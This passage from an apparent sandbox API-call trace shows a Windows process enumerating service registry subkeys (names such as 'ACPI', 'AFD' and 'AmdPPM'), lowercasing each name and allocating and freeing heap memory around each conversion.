0x21f1bf8 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 